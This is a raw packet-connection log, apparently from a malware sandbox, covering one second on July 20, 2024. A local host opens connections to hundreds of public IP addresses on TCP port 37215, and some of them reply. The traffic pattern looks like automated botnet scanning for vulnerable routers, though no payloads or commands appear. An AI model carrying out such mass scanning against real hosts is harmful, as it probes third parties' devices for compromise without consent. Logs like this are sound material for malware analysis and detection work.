Jul 20, 2024 23:01:02.410932064 CEST	45158	37215	192.168.2.14	41.122.12.187
Jul 20, 2024 23:01:02.410932064 CEST	36238	37215	192.168.2.14	76.199.109.54
Jul 20, 2024 23:01:02.410932064 CEST	40186	37215	192.168.2.14	41.115.1.213
Jul 20, 2024 23:01:02.410932064 CEST	52725	37215	192.168.2.14	197.185.69.29
Jul 20, 2024 23:01:02.410932064 CEST	49218	37215	192.168.2.14	197.181.156.3
Jul 20, 2024 23:01:02.410932064 CEST	52725	37215	192.168.2.14	197.149.175.198
Jul 20, 2024 23:01:02.410932064 CEST	52725	37215	192.168.2.14	157.65.139.187
Jul 20, 2024 23:01:02.411076069 CEST	52725	37215	192.168.2.14	180.27.153.103
Jul 20, 2024 23:01:02.411076069 CEST	59868	37215	192.168.2.14	118.0.129.46
Jul 20, 2024 23:01:02.411076069 CEST	45474	37215	192.168.2.14	157.203.119.152
Jul 20, 2024 23:01:02.411076069 CEST	58282	37215	192.168.2.14	90.241.170.10
Jul 20, 2024 23:01:02.411076069 CEST	49858	37215	192.168.2.14	212.127.34.6
Jul 20, 2024 23:01:02.411076069 CEST	45562	37215	192.168.2.14	41.30.131.179
Jul 20, 2024 23:01:02.411076069 CEST	45886	37215	192.168.2.14	24.132.91.59
Jul 20, 2024 23:01:02.411076069 CEST	52725	37215	192.168.2.14	157.223.40.21
Jul 20, 2024 23:01:02.411092997 CEST	37215	52725	197.132.38.147	192.168.2.14
Jul 20, 2024 23:01:02.411098003 CEST	37215	52725	41.130.46.12	192.168.2.14
Jul 20, 2024 23:01:02.411107063 CEST	37215	52725	197.222.150.37	192.168.2.14
Jul 20, 2024 23:01:02.411164999 CEST	34462	37215	192.168.2.14	197.74.63.134
Jul 20, 2024 23:01:02.411165953 CEST	52725	37215	192.168.2.14	41.140.17.68
Jul 20, 2024 23:01:02.411165953 CEST	42224	37215	192.168.2.14	157.11.56.240
Jul 20, 2024 23:01:02.411165953 CEST	35110	37215	192.168.2.14	197.255.176.169
Jul 20, 2024 23:01:02.411165953 CEST	52725	37215	192.168.2.14	41.186.30.205
Jul 20, 2024 23:01:02.411165953 CEST	37174	37215	192.168.2.14	52.155.86.86
Jul 20, 2024 23:01:02.411165953 CEST	52725	37215	192.168.2.14	41.238.44.178
Jul 20, 2024 23:01:02.411197901 CEST	37215	52725	41.16.45.19	192.168.2.14
Jul 20, 2024 23:01:02.411202908 CEST	37215	52725	157.251.237.80	192.168.2.14
Jul 20, 2024 23:01:02.411444902 CEST	37215	52725	157.97.51.61	192.168.2.14
Jul 20, 2024 23:01:02.411448956 CEST	37215	52725	197.204.169.151	192.168.2.14
Jul 20, 2024 23:01:02.411449909 CEST	52725	37215	192.168.2.14	157.121.101.253
Jul 20, 2024 23:01:02.411449909 CEST	52725	37215	192.168.2.14	157.1.8.135
Jul 20, 2024 23:01:02.411449909 CEST	53680	37215	192.168.2.14	157.220.26.182
Jul 20, 2024 23:01:02.411449909 CEST	57302	37215	192.168.2.14	41.233.169.62
Jul 20, 2024 23:01:02.411449909 CEST	52725	37215	192.168.2.14	50.90.6.51
Jul 20, 2024 23:01:02.411449909 CEST	55680	37215	192.168.2.14	197.12.227.51
Jul 20, 2024 23:01:02.411449909 CEST	53616	37215	192.168.2.14	153.57.57.9
Jul 20, 2024 23:01:02.411449909 CEST	46206	37215	192.168.2.14	157.208.127.244
Jul 20, 2024 23:01:02.411458969 CEST	37215	52725	157.199.63.202	192.168.2.14
Jul 20, 2024 23:01:02.411469936 CEST	37215	52725	197.110.144.246	192.168.2.14
Jul 20, 2024 23:01:02.411477089 CEST	37215	52725	128.236.195.19	192.168.2.14
Jul 20, 2024 23:01:02.411485910 CEST	37215	52725	41.219.228.80	192.168.2.14
Jul 20, 2024 23:01:02.411643982 CEST	57200	37215	192.168.2.14	157.20.249.180
Jul 20, 2024 23:01:02.411643982 CEST	52725	37215	192.168.2.14	41.25.73.93
Jul 20, 2024 23:01:02.411644936 CEST	52725	37215	192.168.2.14	157.245.179.116
Jul 20, 2024 23:01:02.411644936 CEST	50160	37215	192.168.2.14	41.243.57.159
Jul 20, 2024 23:01:02.411644936 CEST	57334	37215	192.168.2.14	157.136.249.217
Jul 20, 2024 23:01:02.411644936 CEST	40624	37215	192.168.2.14	157.92.46.65
Jul 20, 2024 23:01:02.411644936 CEST	40822	37215	192.168.2.14	41.121.47.232
Jul 20, 2024 23:01:02.411644936 CEST	47630	37215	192.168.2.14	197.228.255.157
Jul 20, 2024 23:01:02.411662102 CEST	36536	37215	192.168.2.14	197.66.212.124
Jul 20, 2024 23:01:02.411662102 CEST	34332	37215	192.168.2.14	157.183.27.248
Jul 20, 2024 23:01:02.411662102 CEST	60374	37215	192.168.2.14	13.86.185.73
Jul 20, 2024 23:01:02.411662102 CEST	43890	37215	192.168.2.14	157.255.17.174
Jul 20, 2024 23:01:02.411662102 CEST	52725	37215	192.168.2.14	157.82.164.209
Jul 20, 2024 23:01:02.411662102 CEST	59918	37215	192.168.2.14	145.169.160.7
Jul 20, 2024 23:01:02.411663055 CEST	47626	37215	192.168.2.14	41.160.188.126
Jul 20, 2024 23:01:02.411663055 CEST	50544	37215	192.168.2.14	60.162.189.105
Jul 20, 2024 23:01:02.411902905 CEST	52725	37215	192.168.2.14	157.188.48.202
Jul 20, 2024 23:01:02.411902905 CEST	52725	37215	192.168.2.14	157.197.156.233
Jul 20, 2024 23:01:02.411902905 CEST	52725	37215	192.168.2.14	197.78.87.224
Jul 20, 2024 23:01:02.411902905 CEST	44176	37215	192.168.2.14	157.11.29.10
Jul 20, 2024 23:01:02.411902905 CEST	49206	37215	192.168.2.14	41.239.228.171
Jul 20, 2024 23:01:02.411902905 CEST	52725	37215	192.168.2.14	157.224.215.213
Jul 20, 2024 23:01:02.411902905 CEST	47230	37215	192.168.2.14	157.78.32.167
Jul 20, 2024 23:01:02.411902905 CEST	38436	37215	192.168.2.14	157.52.23.60
Jul 20, 2024 23:01:02.412002087 CEST	37215	52725	197.15.43.211	192.168.2.14
Jul 20, 2024 23:01:02.412008047 CEST	37215	55680	197.12.227.51	192.168.2.14
Jul 20, 2024 23:01:02.412020922 CEST	37215	52725	157.171.214.195	192.168.2.14
Jul 20, 2024 23:01:02.412053108 CEST	37215	52725	197.128.161.194	192.168.2.14
Jul 20, 2024 23:01:02.412056923 CEST	37215	52725	155.166.101.174	192.168.2.14
Jul 20, 2024 23:01:02.412349939 CEST	37215	52725	197.215.145.141	192.168.2.14
Jul 20, 2024 23:01:02.412354946 CEST	37215	52725	157.45.130.179	192.168.2.14
Jul 20, 2024 23:01:02.412586927 CEST	37215	52725	157.177.157.155	192.168.2.14
Jul 20, 2024 23:01:02.412791014 CEST	54692	37215	192.168.2.14	197.37.177.219
Jul 20, 2024 23:01:02.412791014 CEST	58652	37215	192.168.2.14	197.70.43.24
Jul 20, 2024 23:01:02.412791014 CEST	52725	37215	192.168.2.14	41.245.49.174
Jul 20, 2024 23:01:02.412791014 CEST	52725	37215	192.168.2.14	197.0.176.130
Jul 20, 2024 23:01:02.412791014 CEST	52725	37215	192.168.2.14	197.104.141.66
Jul 20, 2024 23:01:02.412791014 CEST	56944	37215	192.168.2.14	197.200.12.199
Jul 20, 2024 23:01:02.412791014 CEST	52176	37215	192.168.2.14	126.166.207.208
Jul 20, 2024 23:01:02.412791014 CEST	32986	37215	192.168.2.14	32.244.217.115
Jul 20, 2024 23:01:02.412798882 CEST	37215	52725	197.50.248.82	192.168.2.14
Jul 20, 2024 23:01:02.412803888 CEST	37215	52725	207.128.36.162	192.168.2.14
Jul 20, 2024 23:01:02.412813902 CEST	37215	52725	41.178.230.217	192.168.2.14
Jul 20, 2024 23:01:02.412914038 CEST	52725	37215	192.168.2.14	197.197.194.149
Jul 20, 2024 23:01:02.412914038 CEST	52725	37215	192.168.2.14	157.78.106.151
Jul 20, 2024 23:01:02.412914038 CEST	54462	37215	192.168.2.14	157.81.103.110
Jul 20, 2024 23:01:02.412914038 CEST	35696	37215	192.168.2.14	157.71.253.214
Jul 20, 2024 23:01:02.412914038 CEST	45842	37215	192.168.2.14	41.117.226.58
Jul 20, 2024 23:01:02.412914038 CEST	35314	37215	192.168.2.14	157.75.252.43
Jul 20, 2024 23:01:02.412914038 CEST	50604	37215	192.168.2.14	199.150.19.53
Jul 20, 2024 23:01:02.412914038 CEST	34686	37215	192.168.2.14	113.163.100.190
Jul 20, 2024 23:01:02.412962914 CEST	37215	44016	24.34.240.214	192.168.2.14
Jul 20, 2024 23:01:02.412965059 CEST	52725	37215	192.168.2.14	151.197.134.207
Jul 20, 2024 23:01:02.412965059 CEST	59068	37215	192.168.2.14	41.173.192.227
Jul 20, 2024 23:01:02.412965059 CEST	49258	37215	192.168.2.14	117.157.75.129
Jul 20, 2024 23:01:02.412965059 CEST	59774	37215	192.168.2.14	41.79.186.119
Jul 20, 2024 23:01:02.412965059 CEST	43488	37215	192.168.2.14	41.226.92.193
Jul 20, 2024 23:01:02.412967920 CEST	37215	52725	134.211.227.236	192.168.2.14
Jul 20, 2024 23:01:02.412965059 CEST	58610	37215	192.168.2.14	197.8.234.46
Jul 20, 2024 23:01:02.412965059 CEST	54236	37215	192.168.2.14	197.164.125.148
Jul 20, 2024 23:01:02.412965059 CEST	57418	37215	192.168.2.14	41.212.179.177
Jul 20, 2024 23:01:02.413163900 CEST	37215	53616	153.57.57.9	192.168.2.14
Jul 20, 2024 23:01:02.413527012 CEST	54852	37215	192.168.2.14	197.30.62.141
Jul 20, 2024 23:01:02.413527012 CEST	35070	37215	192.168.2.14	141.92.189.24
Jul 20, 2024 23:01:02.413527012 CEST	52725	37215	192.168.2.14	197.139.122.58
Jul 20, 2024 23:01:02.413527012 CEST	60986	37215	192.168.2.14	43.186.3.173
Jul 20, 2024 23:01:02.413527012 CEST	38188	37215	192.168.2.14	197.249.151.109
Jul 20, 2024 23:01:02.413527012 CEST	52725	37215	192.168.2.14	197.102.151.253
Jul 20, 2024 23:01:02.413527012 CEST	52725	37215	192.168.2.14	197.113.49.33
Jul 20, 2024 23:01:02.413527012 CEST	53680	37215	192.168.2.14	157.220.26.182
Jul 20, 2024 23:01:02.413578987 CEST	41258	37215	192.168.2.14	197.210.50.88
Jul 20, 2024 23:01:02.413578987 CEST	56066	37215	192.168.2.14	197.77.202.247
Jul 20, 2024 23:01:02.413579941 CEST	52725	37215	192.168.2.14	41.167.99.23
Jul 20, 2024 23:01:02.413579941 CEST	54692	37215	192.168.2.14	41.131.64.64
Jul 20, 2024 23:01:02.413579941 CEST	52725	37215	192.168.2.14	197.157.176.214
Jul 20, 2024 23:01:02.413579941 CEST	36104	37215	192.168.2.14	157.31.140.76
Jul 20, 2024 23:01:02.413579941 CEST	53338	37215	192.168.2.14	37.3.189.109
Jul 20, 2024 23:01:02.413579941 CEST	52725	37215	192.168.2.14	219.6.124.212
Jul 20, 2024 23:01:02.413902998 CEST	57162	37215	192.168.2.14	157.137.75.124
Jul 20, 2024 23:01:02.413902998 CEST	51150	37215	192.168.2.14	41.188.32.205
Jul 20, 2024 23:01:02.413902998 CEST	52725	37215	192.168.2.14	157.149.99.72
Jul 20, 2024 23:01:02.413902998 CEST	52725	37215	192.168.2.14	133.119.75.61
Jul 20, 2024 23:01:02.413903952 CEST	48950	37215	192.168.2.14	197.136.233.151
Jul 20, 2024 23:01:02.413903952 CEST	52725	37215	192.168.2.14	157.16.28.50
Jul 20, 2024 23:01:02.413903952 CEST	40600	37215	192.168.2.14	197.59.92.194
Jul 20, 2024 23:01:02.413903952 CEST	48420	37215	192.168.2.14	41.80.60.235
Jul 20, 2024 23:01:02.414136887 CEST	52980	37215	192.168.2.14	197.195.106.45
Jul 20, 2024 23:01:02.414136887 CEST	57054	37215	192.168.2.14	197.77.31.163
Jul 20, 2024 23:01:02.414136887 CEST	46280	37215	192.168.2.14	197.241.150.191
Jul 20, 2024 23:01:02.414136887 CEST	54792	37215	192.168.2.14	157.47.87.238
Jul 20, 2024 23:01:02.414136887 CEST	35610	37215	192.168.2.14	157.136.175.137
Jul 20, 2024 23:01:02.414136887 CEST	52725	37215	192.168.2.14	41.144.233.165
Jul 20, 2024 23:01:02.414136887 CEST	52725	37215	192.168.2.14	197.222.22.167
Jul 20, 2024 23:01:02.414136887 CEST	36598	37215	192.168.2.14	197.170.105.28
Jul 20, 2024 23:01:02.414156914 CEST	37215	52725	41.153.23.228	192.168.2.14
Jul 20, 2024 23:01:02.414161921 CEST	37215	46206	157.208.127.244	192.168.2.14
Jul 20, 2024 23:01:02.414328098 CEST	37215	47230	157.78.32.167	192.168.2.14
Jul 20, 2024 23:01:02.414333105 CEST	37215	60728	41.26.139.46	192.168.2.14
Jul 20, 2024 23:01:02.414341927 CEST	37215	52725	41.175.221.147	192.168.2.14
Jul 20, 2024 23:01:02.414361000 CEST	53052	37215	192.168.2.14	124.232.166.233
Jul 20, 2024 23:01:02.414361954 CEST	52725	37215	192.168.2.14	41.103.0.121
Jul 20, 2024 23:01:02.414361954 CEST	52725	37215	192.168.2.14	41.87.136.255
Jul 20, 2024 23:01:02.414361954 CEST	42316	37215	192.168.2.14	41.34.34.12
Jul 20, 2024 23:01:02.414361954 CEST	39320	37215	192.168.2.14	4.79.178.142
Jul 20, 2024 23:01:02.414361954 CEST	38906	37215	192.168.2.14	60.250.175.203
Jul 20, 2024 23:01:02.414361954 CEST	54692	37215	192.168.2.14	197.37.177.219
Jul 20, 2024 23:01:02.414361954 CEST	58652	37215	192.168.2.14	197.70.43.24
Jul 20, 2024 23:01:02.414526939 CEST	45068	37215	192.168.2.14	197.153.186.108
Jul 20, 2024 23:01:02.414526939 CEST	58460	37215	192.168.2.14	207.21.193.219
Jul 20, 2024 23:01:02.414526939 CEST	57698	37215	192.168.2.14	157.177.125.202
Jul 20, 2024 23:01:02.414527893 CEST	52725	37215	192.168.2.14	197.241.151.243
Jul 20, 2024 23:01:02.414527893 CEST	60422	37215	192.168.2.14	157.250.180.168
Jul 20, 2024 23:01:02.414527893 CEST	48024	37215	192.168.2.14	197.62.166.112
Jul 20, 2024 23:01:02.414527893 CEST	52725	37215	192.168.2.14	157.117.167.27
Jul 20, 2024 23:01:02.414527893 CEST	34370	37215	192.168.2.14	41.89.17.37
Jul 20, 2024 23:01:02.414654970 CEST	37215	38436	157.52.23.60	192.168.2.14
Jul 20, 2024 23:01:02.414659977 CEST	37215	35292	197.196.172.22	192.168.2.14
Jul 20, 2024 23:01:02.414669991 CEST	37215	52725	13.89.210.7	192.168.2.14
Jul 20, 2024 23:01:02.414680958 CEST	37215	48840	61.165.104.213	192.168.2.14
Jul 20, 2024 23:01:02.414686918 CEST	37215	52176	126.166.207.208	192.168.2.14
Jul 20, 2024 23:01:02.414686918 CEST	52725	37215	192.168.2.14	197.168.11.122
Jul 20, 2024 23:01:02.414686918 CEST	52725	37215	192.168.2.14	170.66.134.245
Jul 20, 2024 23:01:02.414686918 CEST	52725	37215	192.168.2.14	157.4.170.52
Jul 20, 2024 23:01:02.414686918 CEST	57848	37215	192.168.2.14	139.212.201.39
Jul 20, 2024 23:01:02.414686918 CEST	52725	37215	192.168.2.14	157.241.156.251
Jul 20, 2024 23:01:02.414686918 CEST	59254	37215	192.168.2.14	152.71.212.76
Jul 20, 2024 23:01:02.414686918 CEST	37178	37215	192.168.2.14	197.17.71.182
Jul 20, 2024 23:01:02.414686918 CEST	52725	37215	192.168.2.14	135.250.246.47
Jul 20, 2024 23:01:02.414695978 CEST	37215	52725	41.18.241.83	192.168.2.14
Jul 20, 2024 23:01:02.414700985 CEST	37215	52725	161.20.149.88	192.168.2.14
Jul 20, 2024 23:01:02.414706945 CEST	37215	52725	157.206.59.59	192.168.2.14
Jul 20, 2024 23:01:02.414715052 CEST	37215	52725	41.90.112.177	192.168.2.14
Jul 20, 2024 23:01:02.414720058 CEST	37215	52725	157.127.236.19	192.168.2.14
Jul 20, 2024 23:01:02.414731026 CEST	37215	42576	197.24.4.235	192.168.2.14
Jul 20, 2024 23:01:02.414793968 CEST	37215	52725	197.188.1.222	192.168.2.14
Jul 20, 2024 23:01:02.414798975 CEST	37215	32986	32.244.217.115	192.168.2.14
Jul 20, 2024 23:01:02.414808035 CEST	37215	54852	197.30.62.141	192.168.2.14
Jul 20, 2024 23:01:02.414849997 CEST	54462	37215	192.168.2.14	157.81.103.110
Jul 20, 2024 23:01:02.414849997 CEST	57400	37215	192.168.2.14	116.213.32.189
Jul 20, 2024 23:01:02.414849997 CEST	52725	37215	192.168.2.14	69.124.184.148
Jul 20, 2024 23:01:02.414849997 CEST	44708	37215	192.168.2.14	41.7.80.153
Jul 20, 2024 23:01:02.414850950 CEST	42126	37215	192.168.2.14	41.27.117.169
Jul 20, 2024 23:01:02.414850950 CEST	46822	37215	192.168.2.14	81.216.201.21
Jul 20, 2024 23:01:02.414850950 CEST	35292	37215	192.168.2.14	197.196.172.22
Jul 20, 2024 23:01:02.414850950 CEST	48840	37215	192.168.2.14	61.165.104.213
Jul 20, 2024 23:01:02.414879084 CEST	37215	53052	124.232.166.233	192.168.2.14
Jul 20, 2024 23:01:02.414882898 CEST	37215	57162	157.137.75.124	192.168.2.14
Jul 20, 2024 23:01:02.415072918 CEST	57302	37215	192.168.2.14	41.233.169.62
Jul 20, 2024 23:01:02.415072918 CEST	52725	37215	192.168.2.14	157.156.242.108
Jul 20, 2024 23:01:02.415072918 CEST	52725	37215	192.168.2.14	157.96.118.173
Jul 20, 2024 23:01:02.415072918 CEST	52725	37215	192.168.2.14	107.171.134.163
Jul 20, 2024 23:01:02.415072918 CEST	52725	37215	192.168.2.14	197.251.126.252
Jul 20, 2024 23:01:02.415072918 CEST	52725	37215	192.168.2.14	41.105.21.59
Jul 20, 2024 23:01:02.415072918 CEST	52725	37215	192.168.2.14	73.101.89.21
Jul 20, 2024 23:01:02.415072918 CEST	52725	37215	192.168.2.14	206.124.130.94
Jul 20, 2024 23:01:02.415258884 CEST	55584	37215	192.168.2.14	197.102.177.131
Jul 20, 2024 23:01:02.415258884 CEST	37866	37215	192.168.2.14	161.127.78.197
Jul 20, 2024 23:01:02.415258884 CEST	52725	37215	192.168.2.14	197.146.102.184
Jul 20, 2024 23:01:02.415258884 CEST	44016	37215	192.168.2.14	24.34.240.214
Jul 20, 2024 23:01:02.415258884 CEST	42576	37215	192.168.2.14	197.24.4.235
Jul 20, 2024 23:01:02.415258884 CEST	41636	37215	192.168.2.14	157.216.161.59
Jul 20, 2024 23:01:02.415258884 CEST	55730	37215	192.168.2.14	37.110.59.42
Jul 20, 2024 23:01:02.415258884 CEST	52725	37215	192.168.2.14	155.169.12.22
Jul 20, 2024 23:01:02.415482998 CEST	37215	57400	116.213.32.189	192.168.2.14
Jul 20, 2024 23:01:02.415608883 CEST	37215	51150	41.188.32.205	192.168.2.14
Jul 20, 2024 23:01:02.415618896 CEST	37215	35070	141.92.189.24	192.168.2.14
Jul 20, 2024 23:01:02.415622950 CEST	37215	41636	157.216.161.59	192.168.2.14
Jul 20, 2024 23:01:02.415739059 CEST	57882	37215	192.168.2.14	41.40.48.20
Jul 20, 2024 23:01:02.415739059 CEST	46694	37215	192.168.2.14	138.242.39.199
Jul 20, 2024 23:01:02.415739059 CEST	51542	37215	192.168.2.14	66.133.8.3
Jul 20, 2024 23:01:02.415739059 CEST	44176	37215	192.168.2.14	157.11.29.10
Jul 20, 2024 23:01:02.415739059 CEST	49206	37215	192.168.2.14	41.239.228.171
Jul 20, 2024 23:01:02.415739059 CEST	52714	37215	192.168.2.14	181.36.87.26
Jul 20, 2024 23:01:02.415739059 CEST	52725	37215	192.168.2.14	41.137.26.226
Jul 20, 2024 23:01:02.415739059 CEST	52725	37215	192.168.2.14	157.190.44.7
Jul 20, 2024 23:01:02.415802956 CEST	36306	37215	192.168.2.14	157.229.133.19
Jul 20, 2024 23:01:02.415803909 CEST	57010	37215	192.168.2.14	41.180.195.47
Jul 20, 2024 23:01:02.415803909 CEST	47970	37215	192.168.2.14	41.248.220.216
Jul 20, 2024 23:01:02.415803909 CEST	44924	37215	192.168.2.14	41.145.5.36
Jul 20, 2024 23:01:02.415803909 CEST	52592	37215	192.168.2.14	41.181.208.214
Jul 20, 2024 23:01:02.415803909 CEST	54222	37215	192.168.2.14	42.255.69.128
Jul 20, 2024 23:01:02.415803909 CEST	52725	37215	192.168.2.14	197.206.250.3
Jul 20, 2024 23:01:02.415803909 CEST	45326	37215	192.168.2.14	41.156.215.126
Jul 20, 2024 23:01:02.415999889 CEST	37215	42316	41.34.34.12	192.168.2.14
Jul 20, 2024 23:01:02.416004896 CEST	37215	52725	80.171.5.112	192.168.2.14
Jul 20, 2024 23:01:02.416095972 CEST	37215	39320	4.79.178.142	192.168.2.14
Jul 20, 2024 23:01:02.416100025 CEST	37215	60734	197.40.93.165	192.168.2.14
Jul 20, 2024 23:01:02.416110039 CEST	37215	48950	197.136.233.151	192.168.2.14
Jul 20, 2024 23:01:02.416114092 CEST	37215	43282	157.135.213.6	192.168.2.14
Jul 20, 2024 23:01:02.416122913 CEST	37215	55730	37.110.59.42	192.168.2.14
Jul 20, 2024 23:01:02.416177988 CEST	37215	37444	197.108.206.182	192.168.2.14
Jul 20, 2024 23:01:02.416183949 CEST	37215	53792	197.95.27.148	192.168.2.14
Jul 20, 2024 23:01:02.416234016 CEST	56944	37215	192.168.2.14	197.200.12.199
Jul 20, 2024 23:01:02.416234016 CEST	52725	37215	192.168.2.14	157.203.242.109
Jul 20, 2024 23:01:02.416234016 CEST	52725	37215	192.168.2.14	41.111.57.220
Jul 20, 2024 23:01:02.416234016 CEST	52725	37215	192.168.2.14	12.24.74.51
Jul 20, 2024 23:01:02.416234016 CEST	52725	37215	192.168.2.14	91.161.194.197
Jul 20, 2024 23:01:02.416234016 CEST	52725	37215	192.168.2.14	197.223.189.40
Jul 20, 2024 23:01:02.416234016 CEST	52725	37215	192.168.2.14	41.118.16.236
Jul 20, 2024 23:01:02.416234016 CEST	52725	37215	192.168.2.14	114.8.41.98
Jul 20, 2024 23:01:02.416309118 CEST	37215	60986	43.186.3.173	192.168.2.14
Jul 20, 2024 23:01:02.416312933 CEST	37215	59604	41.99.10.85	192.168.2.14
Jul 20, 2024 23:01:02.416322947 CEST	37215	52725	99.15.251.234	192.168.2.14
Jul 20, 2024 23:01:02.416342020 CEST	37215	40600	197.59.92.194	192.168.2.14
Jul 20, 2024 23:01:02.416347027 CEST	37215	38188	197.249.151.109	192.168.2.14
Jul 20, 2024 23:01:02.416599989 CEST	38644	37215	192.168.2.14	199.67.163.62
Jul 20, 2024 23:01:02.416599989 CEST	33058	37215	192.168.2.14	197.88.129.45
Jul 20, 2024 23:01:02.416599989 CEST	57848	37215	192.168.2.14	139.212.201.39
Jul 20, 2024 23:01:02.416599989 CEST	52725	37215	192.168.2.14	157.171.76.183
Jul 20, 2024 23:01:02.416599989 CEST	34462	37215	192.168.2.14	197.74.63.134
Jul 20, 2024 23:01:02.416599989 CEST	42224	37215	192.168.2.14	157.11.56.240
Jul 20, 2024 23:01:02.416599989 CEST	35110	37215	192.168.2.14	197.255.176.169
Jul 20, 2024 23:01:02.416599989 CEST	37174	37215	192.168.2.14	52.155.86.86
Jul 20, 2024 23:01:02.416682959 CEST	37215	48420	41.80.60.235	192.168.2.14
Jul 20, 2024 23:01:02.416769028 CEST	55478	37215	192.168.2.14	197.196.31.171
Jul 20, 2024 23:01:02.416769028 CEST	52725	37215	192.168.2.14	157.241.176.154
Jul 20, 2024 23:01:02.416769028 CEST	59868	37215	192.168.2.14	118.0.129.46
Jul 20, 2024 23:01:02.416769028 CEST	52725	37215	192.168.2.14	197.52.245.201
Jul 20, 2024 23:01:02.416769028 CEST	52725	37215	192.168.2.14	157.75.130.79
Jul 20, 2024 23:01:02.416769028 CEST	45474	37215	192.168.2.14	157.203.119.152
Jul 20, 2024 23:01:02.416769028 CEST	58282	37215	192.168.2.14	90.241.170.10
Jul 20, 2024 23:01:02.416769028 CEST	49858	37215	192.168.2.14	212.127.34.6
Jul 20, 2024 23:01:02.416821003 CEST	37215	41482	157.88.41.229	192.168.2.14
Jul 20, 2024 23:01:02.416937113 CEST	37215	55478	197.196.31.171	192.168.2.14
Jul 20, 2024 23:01:02.417043924 CEST	59758	37215	192.168.2.14	157.59.236.255
Jul 20, 2024 23:01:02.417043924 CEST	52725	37215	192.168.2.14	138.115.6.195
Jul 20, 2024 23:01:02.417043924 CEST	52725	37215	192.168.2.14	58.231.198.55
Jul 20, 2024 23:01:02.417043924 CEST	43282	37215	192.168.2.14	157.135.213.6
Jul 20, 2024 23:01:02.417043924 CEST	37444	37215	192.168.2.14	197.108.206.182
Jul 20, 2024 23:01:02.417043924 CEST	53792	37215	192.168.2.14	197.95.27.148
Jul 20, 2024 23:01:02.417043924 CEST	59604	37215	192.168.2.14	41.99.10.85
Jul 20, 2024 23:01:02.417043924 CEST	41482	37215	192.168.2.14	157.88.41.229
Jul 20, 2024 23:01:02.417229891 CEST	52068	37215	192.168.2.14	157.245.238.163
Jul 20, 2024 23:01:02.417229891 CEST	45158	37215	192.168.2.14	41.122.12.187
Jul 20, 2024 23:01:02.417229891 CEST	52725	37215	192.168.2.14	157.122.28.85
Jul 20, 2024 23:01:02.417229891 CEST	36238	37215	192.168.2.14	76.199.109.54
Jul 20, 2024 23:01:02.417229891 CEST	40186	37215	192.168.2.14	41.115.1.213
Jul 20, 2024 23:01:02.417229891 CEST	49218	37215	192.168.2.14	197.181.156.3
Jul 20, 2024 23:01:02.417229891 CEST	41258	37215	192.168.2.14	197.210.50.88
Jul 20, 2024 23:01:02.417229891 CEST	56066	37215	192.168.2.14	197.77.202.247
Jul 20, 2024 23:01:02.417248011 CEST	37215	34462	197.74.63.134	192.168.2.14
Jul 20, 2024 23:01:02.417555094 CEST	45562	37215	192.168.2.14	41.30.131.179
Jul 20, 2024 23:01:02.417555094 CEST	45886	37215	192.168.2.14	24.132.91.59
Jul 20, 2024 23:01:02.417556047 CEST	35696	37215	192.168.2.14	157.71.253.214
Jul 20, 2024 23:01:02.417556047 CEST	45842	37215	192.168.2.14	41.117.226.58
Jul 20, 2024 23:01:02.417556047 CEST	35314	37215	192.168.2.14	157.75.252.43
Jul 20, 2024 23:01:02.417556047 CEST	50604	37215	192.168.2.14	199.150.19.53
Jul 20, 2024 23:01:02.417556047 CEST	34686	37215	192.168.2.14	113.163.100.190
Jul 20, 2024 23:01:02.417556047 CEST	54462	37215	192.168.2.14	157.81.103.110
Jul 20, 2024 23:01:02.417625904 CEST	37215	47794	197.232.128.49	192.168.2.14
Jul 20, 2024 23:01:02.417630911 CEST	37215	57882	41.40.48.20	192.168.2.14
Jul 20, 2024 23:01:02.417639971 CEST	37215	52068	157.245.238.163	192.168.2.14
Jul 20, 2024 23:01:02.417644978 CEST	37215	45018	50.0.188.147	192.168.2.14
Jul 20, 2024 23:01:02.417658091 CEST	37215	55560	197.81.117.241	192.168.2.14
Jul 20, 2024 23:01:02.417665958 CEST	37215	46694	138.242.39.199	192.168.2.14
Jul 20, 2024 23:01:02.417670965 CEST	37215	42312	41.65.98.19	192.168.2.14
Jul 20, 2024 23:01:02.417679071 CEST	37215	33888	41.171.70.30	192.168.2.14
Jul 20, 2024 23:01:02.417788982 CEST	37215	57200	157.20.249.180	192.168.2.14
Jul 20, 2024 23:01:02.417793036 CEST	37215	51542	66.133.8.3	192.168.2.14
Jul 20, 2024 23:01:02.417802095 CEST	37215	45158	41.122.12.187	192.168.2.14
Jul 20, 2024 23:01:02.417805910 CEST	37215	36536	197.66.212.124	192.168.2.14
Jul 20, 2024 23:01:02.417869091 CEST	37215	42224	157.11.56.240	192.168.2.14
Jul 20, 2024 23:01:02.417872906 CEST	37215	38906	60.250.175.203	192.168.2.14
Jul 20, 2024 23:01:02.418101072 CEST	37215	59868	118.0.129.46	192.168.2.14
Jul 20, 2024 23:01:02.418106079 CEST	37215	35110	197.255.176.169	192.168.2.14
Jul 20, 2024 23:01:02.418114901 CEST	52725	37215	192.168.2.14	197.136.82.58
Jul 20, 2024 23:01:02.418116093 CEST	52725	37215	192.168.2.14	41.8.232.69
Jul 20, 2024 23:01:02.418116093 CEST	52725	37215	192.168.2.14	197.99.46.99
Jul 20, 2024 23:01:02.418116093 CEST	52725	37215	192.168.2.14	182.190.115.183
Jul 20, 2024 23:01:02.418116093 CEST	52725	37215	192.168.2.14	41.146.193.149
Jul 20, 2024 23:01:02.418116093 CEST	52725	37215	192.168.2.14	41.213.244.30
Jul 20, 2024 23:01:02.418116093 CEST	52725	37215	192.168.2.14	157.199.63.202
Jul 20, 2024 23:01:02.418116093 CEST	52725	37215	192.168.2.14	157.97.51.61
Jul 20, 2024 23:01:02.418173075 CEST	52725	37215	192.168.2.14	157.123.145.53
Jul 20, 2024 23:01:02.418173075 CEST	56210	37215	192.168.2.14	41.10.15.208
Jul 20, 2024 23:01:02.418173075 CEST	52725	37215	192.168.2.14	41.51.11.183
Jul 20, 2024 23:01:02.418173075 CEST	52725	37215	192.168.2.14	157.167.4.217
Jul 20, 2024 23:01:02.418173075 CEST	60728	37215	192.168.2.14	41.26.139.46
Jul 20, 2024 23:01:02.418173075 CEST	60734	37215	192.168.2.14	197.40.93.165
Jul 20, 2024 23:01:02.418174028 CEST	55560	37215	192.168.2.14	197.81.117.241
Jul 20, 2024 23:01:02.418174028 CEST	42312	37215	192.168.2.14	41.65.98.19
Jul 20, 2024 23:01:02.418234110 CEST	37215	45474	157.203.119.152	192.168.2.14
Jul 20, 2024 23:01:02.418239117 CEST	37215	36238	76.199.109.54	192.168.2.14
Jul 20, 2024 23:01:02.418247938 CEST	37215	34332	157.183.27.248	192.168.2.14
Jul 20, 2024 23:01:02.418272972 CEST	37215	40186	41.115.1.213	192.168.2.14
